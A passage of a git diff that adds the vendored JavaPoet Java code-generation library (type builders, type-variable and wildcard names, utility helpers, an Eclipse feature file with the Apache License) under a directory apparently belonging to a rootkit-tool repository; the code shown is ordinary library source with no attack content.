implicitFieldModifiers; + private final Set implicitMethodModifiers; + private final Set implicitTypeModifiers; + private final Set asMemberModifiers; + + Kind(Set implicitFieldModifiers, + Set implicitMethodModifiers, + Set implicitTypeModifiers, + Set asMemberModifiers) { + this.implicitFieldModifiers = implicitFieldModifiers; + this.implicitMethodModifiers = implicitMethodModifiers; + this.implicitTypeModifiers = implicitTypeModifiers; + this.asMemberModifiers = asMemberModifiers; + } + } + + public static final class Builder { + private final Kind kind; + private final String name; + private final CodeBlock anonymousTypeArguments; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private final List typeVariables = new ArrayList<>(); + private TypeName superclass = ClassName.OBJECT; + private final List superinterfaces = new ArrayList<>(); + private final Map enumConstants = new LinkedHashMap<>(); + private final List fieldSpecs = new ArrayList<>(); + private final CodeBlock.Builder staticBlock = CodeBlock.builder(); + private final CodeBlock.Builder initializerBlock = CodeBlock.builder(); + private final List methodSpecs = new ArrayList<>(); + private final List typeSpecs = new ArrayList<>(); + private final List originatingElements = new ArrayList<>(); + + private Builder(Kind kind, String name, + CodeBlock anonymousTypeArguments) { + checkArgument(name == null || SourceVersion.isName(name), "not a valid name: %s", name); + this.kind = kind; + this.name = name; + this.anonymousTypeArguments = anonymousTypeArguments; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + return addAnnotation(AnnotationSpec.builder(annotation).build()); + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder addTypeVariables(Iterable typeVariables) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + checkArgument(typeVariables != null, "typeVariables == null"); + for (TypeVariableName typeVariable : typeVariables) { + this.typeVariables.add(typeVariable); + } + return this; + } + + public Builder addTypeVariable(TypeVariableName typeVariable) { + checkState(anonymousTypeArguments == null, "forbidden on anonymous types."); + typeVariables.add(typeVariable); + return this; + } + + public Builder superclass(TypeName superclass) { + checkState(this.kind == Kind.CLASS, "only classes have super classes, not " + this.kind); + checkState(this.superclass == ClassName.OBJECT, + "superclass already set to " + this.superclass); + checkArgument(!superclass.isPrimitive(), "superclass may not be a primitive"); + this.superclass = superclass; + return this; + } + + public Builder superclass(Type superclass) { + return superclass(TypeName.get(superclass)); + } + + public Builder addSuperinterfaces(Iterable superinterfaces) { + checkArgument(superinterfaces != null, "superinterfaces == null"); + for (TypeName superinterface : superinterfaces) { + addSuperinterface(superinterface); + } + return this; + } + + public Builder addSuperinterface(TypeName superinterface) { + checkArgument(superinterface != null, "superinterface == null"); + this.superinterfaces.add(superinterface); + return this; + } + + public Builder addSuperinterface(Type superinterface) { + return addSuperinterface(TypeName.get(superinterface)); + } + + public Builder addEnumConstant(String name) { + return addEnumConstant(name, anonymousClassBuilder("").build()); + } + + public Builder addEnumConstant(String name, TypeSpec typeSpec) { + checkState(kind == Kind.ENUM, "%s is not enum", this.name); + checkArgument(typeSpec.anonymousTypeArguments != null, + "enum constants must have anonymous type arguments"); + checkArgument(SourceVersion.isName(name), "not a valid enum constant: %s", name); + enumConstants.put(name, typeSpec); + return this; + } + + public Builder addFields(Iterable fieldSpecs) { + checkArgument(fieldSpecs != null, "fieldSpecs == null"); + for (FieldSpec fieldSpec : fieldSpecs) { + addField(fieldSpec); + } + return this; + } + + public Builder addField(FieldSpec fieldSpec) { + if (kind == Kind.INTERFACE || kind == Kind.ANNOTATION) { + requireExactlyOneOf(fieldSpec.modifiers, Modifier.PUBLIC, Modifier.PRIVATE); + Set check = EnumSet.of(Modifier.STATIC, Modifier.FINAL); + checkState(fieldSpec.modifiers.containsAll(check), "%s %s.%s requires modifiers %s", + kind, name, fieldSpec.name, check); + } + fieldSpecs.add(fieldSpec); + return this; + } + + public Builder addField(TypeName type, String name, Modifier... modifiers) { + return addField(FieldSpec.builder(type, name, modifiers).build()); + } + + public Builder addField(Type type, String name, Modifier... modifiers) { + return addField(TypeName.get(type), name, modifiers); + } + + public Builder addStaticBlock(CodeBlock block) { + staticBlock.beginControlFlow("static").add(block).endControlFlow(); + return this; + } + + public Builder addInitializerBlock(CodeBlock block) { + if ((kind != Kind.CLASS && kind != Kind.ENUM)) { + throw new UnsupportedOperationException(kind + " can't have initializer blocks"); + } + initializerBlock.add("{\n") + .indent() + .add(block) + .unindent() + .add("}\n"); + return this; + } + + public Builder addMethods(Iterable methodSpecs) { + checkArgument(methodSpecs != null, "methodSpecs == null"); + for (MethodSpec methodSpec : methodSpecs) { + addMethod(methodSpec); + } + return this; + } + + public Builder addMethod(MethodSpec methodSpec) { + if (kind == Kind.INTERFACE) { + requireExactlyOneOf(methodSpec.modifiers, Modifier.ABSTRACT, Modifier.STATIC, Util.DEFAULT); + requireExactlyOneOf(methodSpec.modifiers, Modifier.PUBLIC, Modifier.PRIVATE); + } else if (kind == Kind.ANNOTATION) { + checkState(methodSpec.modifiers.equals(kind.implicitMethodModifiers), + "%s %s.%s requires modifiers %s", + kind, name, methodSpec.name, kind.implicitMethodModifiers); + } + if (kind != Kind.ANNOTATION) { + checkState(methodSpec.defaultValue == null, "%s %s.%s cannot have a default value", + kind, name, methodSpec.name); + } + if (kind != Kind.INTERFACE) { + checkState(!hasDefaultModifier(methodSpec.modifiers), "%s %s.%s cannot be default", + kind, name, methodSpec.name); + } + methodSpecs.add(methodSpec); + return this; + } + + public Builder addTypes(Iterable typeSpecs) { + checkArgument(typeSpecs != null, "typeSpecs == null"); + for (TypeSpec typeSpec : typeSpecs) { + addType(typeSpec); + } + return this; + } + + public Builder addType(TypeSpec typeSpec) { + checkArgument(typeSpec.modifiers.containsAll(kind.implicitTypeModifiers), + "%s %s.%s requires modifiers %s", kind, name, typeSpec.name, + kind.implicitTypeModifiers); + typeSpecs.add(typeSpec); + return this; + } + + public Builder addOriginatingElement(Element originatingElement) { + originatingElements.add(originatingElement); + return this; + } + + public TypeSpec build() { + checkArgument(kind != Kind.ENUM || !enumConstants.isEmpty(), + "at least one enum constant is required for %s", name); + + boolean isAbstract = modifiers.contains(Modifier.ABSTRACT) || kind != Kind.CLASS; + for (MethodSpec methodSpec : methodSpecs) { + checkArgument(isAbstract || !methodSpec.hasModifier(Modifier.ABSTRACT), + "non-abstract type %s cannot declare abstract method %s", name, methodSpec.name); + } + + boolean superclassIsObject = superclass.equals(ClassName.OBJECT); + int interestingSupertypeCount = (superclassIsObject ? 0 : 1) + superinterfaces.size(); + checkArgument(anonymousTypeArguments == null || interestingSupertypeCount <= 1, + "anonymous type has too many supertypes"); + + return new TypeSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeVariableName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeVariableName.java new file mode 100644 index 0000000..aa4d5eb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/TypeVariableName.java @@ -0,0 +1,167 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; + +import java.io.IOException; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.TypeMirror; +import javax.lang.model.type.TypeVariable; + +public final class TypeVariableName extends TypeName { + public final String name; + public final List bounds; + + private TypeVariableName(String name, List bounds) { + this(name, bounds, new ArrayList()); + } + + private TypeVariableName(String name, List bounds, List annotations) { + super(annotations); + this.name = checkNotNull(name, "name == null"); + this.bounds = bounds; + + for (TypeName bound : this.bounds) { + checkArgument(!bound.isPrimitive() && bound != VOID, "invalid bound: %s", bound); + } + } + + @Override public TypeVariableName annotated(List annotations) { + return new TypeVariableName(name, bounds, annotations); + } + + @Override public TypeName withoutAnnotations() { + return new TypeVariableName(name, bounds); + } + + public TypeVariableName withBounds(Type... bounds) { + return withBounds(TypeName.list(bounds)); + } + + public TypeVariableName withBounds(TypeName... bounds) { + return withBounds(Arrays.asList(bounds)); + } + + public TypeVariableName withBounds(List bounds) { + ArrayList newBounds = new ArrayList<>(); + newBounds.addAll(this.bounds); + newBounds.addAll(bounds); + return new TypeVariableName(name, newBounds, annotations); + } + + private static TypeVariableName of(String name, List bounds) { + // Strip java.lang.Object from bounds if it is present. + List boundsNoObject = new ArrayList<>(bounds); + boundsNoObject.remove(OBJECT); + return new TypeVariableName(name, Collections.unmodifiableList(boundsNoObject)); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emitAndIndent(name); + } + + /** Returns type variable named {@code name} without bounds. */ + public static TypeVariableName get(String name) { + return TypeVariableName.of(name, Collections.emptyList()); + } + + /** Returns type variable named {@code name} with {@code bounds}. */ + public static TypeVariableName get(String name, TypeName... bounds) { + return TypeVariableName.of(name, Arrays.asList(bounds)); + } + + /** Returns type variable named {@code name} with {@code bounds}. */ + public static TypeVariableName get(String name, Type... bounds) { + return TypeVariableName.of(name, TypeName.list(bounds)); + } + + /** Returns type variable equivalent to {@code mirror}. */ + public static TypeVariableName get(TypeVariable mirror) { + return get((TypeParameterElement) mirror.asElement()); + } + + /** + * Make a TypeVariableName for the given TypeMirror. This form is used internally to avoid + * infinite recursion in cases like {@code Enum>}. When we encounter such a + * thing, we will make a TypeVariableName without bounds and add that to the {@code typeVariables} + * map before looking up the bounds. Then if we encounter this TypeVariable again while + * constructing the bounds, we can just return it from the map. And, the code that put the entry + * in {@code variables} will make sure that the bounds are filled in before returning. + */ + static TypeVariableName get( + TypeVariable mirror, Map typeVariables) { + TypeParameterElement element = (TypeParameterElement) mirror.asElement(); + TypeVariableName typeVariableName = typeVariables.get(element); + if (typeVariableName == null) { + // Since the bounds field is public, we need to make it an unmodifiableList. But we control + // the List that that wraps, which means we can change it before returning. + List bounds = new ArrayList<>(); + List visibleBounds = Collections.unmodifiableList(bounds); + typeVariableName = new TypeVariableName(element.getSimpleName().toString(), visibleBounds); + typeVariables.put(element, typeVariableName); + for (TypeMirror typeMirror : element.getBounds()) { + bounds.add(TypeName.get(typeMirror, typeVariables)); + } + bounds.remove(OBJECT); + } + return typeVariableName; + } + + /** Returns type variable equivalent to {@code element}. */ + public static TypeVariableName get(TypeParameterElement element) { + String name = element.getSimpleName().toString(); + List boundsMirrors = element.getBounds(); + + List boundsTypeNames = new ArrayList<>(); + for (TypeMirror typeMirror : boundsMirrors) { + boundsTypeNames.add(TypeName.get(typeMirror)); + } + + return TypeVariableName.of(name, boundsTypeNames); + } + + /** Returns type variable equivalent to {@code type}. */ + public static TypeVariableName get(java.lang.reflect.TypeVariable type) { + return get(type, new LinkedHashMap()); + } + + /** @see #get(java.lang.reflect.TypeVariable, Map) */ + static TypeVariableName get(java.lang.reflect.TypeVariable type, + Map map) { + TypeVariableName result = map.get(type); + if (result == null) { + List bounds = new ArrayList<>(); + List visibleBounds = Collections.unmodifiableList(bounds); + result = new TypeVariableName(type.getName(), visibleBounds); + map.put(type, result); + for (Type bound : type.getBounds()) { + bounds.add(TypeName.get(bound, map)); + } + bounds.remove(OBJECT); + } + return result; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Util.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Util.java new file mode 100644 index 0000000..3e6497e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/Util.java @@ -0,0 +1,158 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static java.lang.Character.isISOControl; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import javax.lang.model.element.Modifier; + +/** + * Like Guava, but worse and standalone. This makes it easier to mix JavaPoet with libraries that + * bring their own version of Guava. + */ +final class Util { + private Util() { + } + + /** Modifier.DEFAULT doesn't exist until Java 8, but we want to run on earlier releases. */ + static final Modifier DEFAULT; + static { + Modifier def = null; + try { + def = Modifier.valueOf("DEFAULT"); + } catch (IllegalArgumentException ignored) { + } + DEFAULT = def; + } + + static Map> immutableMultimap(Map> multimap) { + LinkedHashMap> result = new LinkedHashMap<>(); + for (Map.Entry> entry : multimap.entrySet()) { + if (entry.getValue().isEmpty()) continue; + result.put(entry.getKey(), immutableList(entry.getValue())); + } + return Collections.unmodifiableMap(result); + } + + static Map immutableMap(Map map) { + return Collections.unmodifiableMap(new LinkedHashMap<>(map)); + } + + static void checkArgument(boolean condition, String format, Object... args) { + if (!condition) throw new IllegalArgumentException(String.format(format, args)); + } + + static T checkNotNull(T reference, String format, Object... args) { + if (reference == null) throw new NullPointerException(String.format(format, args)); + return reference; + } + + static void checkState(boolean condition, String format, Object... args) { + if (!condition) throw new IllegalStateException(String.format(format, args)); + } + + static List immutableList(Collection collection) { + return Collections.unmodifiableList(new ArrayList<>(collection)); + } + + static Set immutableSet(Collection set) { + return Collections.unmodifiableSet(new LinkedHashSet<>(set)); + } + + static String join(String separator, List parts) { + if (parts.isEmpty()) return ""; + StringBuilder result = new StringBuilder(); + result.append(parts.get(0)); + for (int i = 1; i < parts.size(); i++) { + result.append(separator).append(parts.get(i)); + } + return result.toString(); + } + + static Set union(Set a, Set b) { + Set result = new LinkedHashSet<>(); + result.addAll(a); + result.addAll(b); + return result; + } + + static void requireExactlyOneOf(Set modifiers, Modifier... mutuallyExclusive) { + int count = 0; + for (Modifier modifier : mutuallyExclusive) { + if (modifier == null && Util.DEFAULT == null) continue; // Skip 'DEFAULT' if it doesn't exist! + if (modifiers.contains(modifier)) count++; + } + checkArgument(count == 1, "modifiers %s must contain one of %s", + modifiers, Arrays.toString(mutuallyExclusive)); + } + + static boolean hasDefaultModifier(Collection modifiers) { + return DEFAULT != null && modifiers.contains(DEFAULT); + } + + static String characterLiteralWithoutSingleQuotes(char c) { + // see https://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#jls-3.10.6 + switch (c) { + case '\b': return "\\b"; /* \u0008: backspace (BS) */ + case '\t': return "\\t"; /* \u0009: horizontal tab (HT) */ + case '\n': return "\\n"; /* \u000a: linefeed (LF) */ + case '\f': return "\\f"; /* \u000c: form feed (FF) */ + case '\r': return "\\r"; /* \u000d: carriage return (CR) */ + case '\"': return "\""; /* \u0022: double quote (") */ + case '\'': return "\\'"; /* \u0027: single quote (') */ + case '\\': return "\\\\"; /* \u005c: backslash (\) */ + default: + return isISOControl(c) ? String.format("\\u%04x", (int) c) : Character.toString(c); + } + } + + /** Returns the string literal representing {@code value}, including wrapping double quotes. */ + static String stringLiteralWithDoubleQuotes(String value, String indent) { + StringBuilder result = new StringBuilder(value.length() + 2); + result.append('"'); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + // trivial case: single quote must not be escaped + if (c == '\'') { + result.append("'"); + continue; + } + // trivial case: double quotes must be escaped + if (c == '\"') { + result.append("\\\""); + continue; + } + // default case: just let character literal do its work + result.append(characterLiteralWithoutSingleQuotes(c)); + // need to append indent after linefeed? + if (c == '\n' && i + 1 < value.length()) { + result.append("\"\n").append(indent).append(indent).append("+ \""); + } + } + result.append('"'); + return result.toString(); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/WildcardTypeName.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/WildcardTypeName.java new file mode 100644 index 0000000..eaf75c5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/WildcardTypeName.java @@ -0,0 +1,130 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; + +import java.io.IOException; +import java.lang.reflect.Type; +import java.lang.reflect.WildcardType; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import javax.lang.model.element.TypeParameterElement; +import javax.lang.model.type.TypeMirror; + +public final class WildcardTypeName extends TypeName { + public final List upperBounds; + public final List lowerBounds; + + private WildcardTypeName(List upperBounds, List lowerBounds) { + this(upperBounds, lowerBounds, new ArrayList()); + } + + private WildcardTypeName(List upperBounds, List lowerBounds, + List annotations) { + super(annotations); + this.upperBounds = Util.immutableList(upperBounds); + this.lowerBounds = Util.immutableList(lowerBounds); + + checkArgument(this.upperBounds.size() == 1, "unexpected extends bounds: %s", upperBounds); + for (TypeName upperBound : this.upperBounds) { + checkArgument(!upperBound.isPrimitive() && upperBound != VOID, + "invalid upper bound: %s", upperBound); + } + for (TypeName lowerBound : this.lowerBounds) { + checkArgument(!lowerBound.isPrimitive() && lowerBound != VOID, + "invalid lower bound: %s", lowerBound); + } + } + + @Override public WildcardTypeName annotated(List annotations) { + return new WildcardTypeName(upperBounds, lowerBounds, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new WildcardTypeName(upperBounds, lowerBounds); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + if (lowerBounds.size() == 1) { + return out.emit("? super $T", lowerBounds.get(0)); + } + return upperBounds.get(0).equals(TypeName.OBJECT) + ? out.emit("?") + : out.emit("? extends $T", upperBounds.get(0)); + } + + /** + * Returns a type that represents an unknown type that extends {@code bound}. For example, if + * {@code bound} is {@code CharSequence.class}, this returns {@code ? extends CharSequence}. If + * {@code bound} is {@code Object.class}, this returns {@code ?}, which is shorthand for {@code + * ? extends Object}. + */ + public static WildcardTypeName subtypeOf(TypeName upperBound) { + return new WildcardTypeName(Arrays.asList(upperBound), Collections.emptyList()); + } + + public static WildcardTypeName subtypeOf(Type upperBound) { + return subtypeOf(TypeName.get(upperBound)); + } + + /** + * Returns a type that represents an unknown supertype of {@code bound}. For example, if {@code + * bound} is {@code String.class}, this returns {@code ? super String}. + */ + public static WildcardTypeName supertypeOf(TypeName lowerBound) { + return new WildcardTypeName(Arrays.asList(OBJECT), Arrays.asList(lowerBound)); + } + + public static WildcardTypeName supertypeOf(Type lowerBound) { + return supertypeOf(TypeName.get(lowerBound)); + } + + public static TypeName get(javax.lang.model.type.WildcardType mirror) { + return get(mirror, new LinkedHashMap()); + } + + static TypeName get( + javax.lang.model.type.WildcardType mirror, + Map typeVariables) { + TypeMirror extendsBound = mirror.getExtendsBound(); + if (extendsBound == null) { + TypeMirror superBound = mirror.getSuperBound(); + if (superBound == null) { + return subtypeOf(Object.class); + } else { + return supertypeOf(TypeName.get(superBound, typeVariables)); + } + } else { + return subtypeOf(TypeName.get(extendsBound, typeVariables)); + } + } + + public static TypeName get(WildcardType wildcardName) { + return get(wildcardName, new LinkedHashMap()); + } + + static TypeName get(WildcardType wildcardName, Map map) { + return new WildcardTypeName( + list(wildcardName.getUpperBounds(), map), + list(wildcardName.getLowerBounds(), map)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/.project new file mode 100644 index 0000000..9952692 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/.project @@ -0,0 +1,17 @@ + + + com.squareup.javapoet.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/build.properties b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/feature.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/feature.xml new file mode 100644 index 0000000..1565755 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.feature/feature.xml @@ -0,0 +1,232 @@ + + + + + JavaPoet is a Java API for generating .java source files. + + + + Copyright 2004 + + + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.classpath new file mode 100644 index 0000000..eca7bdb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross 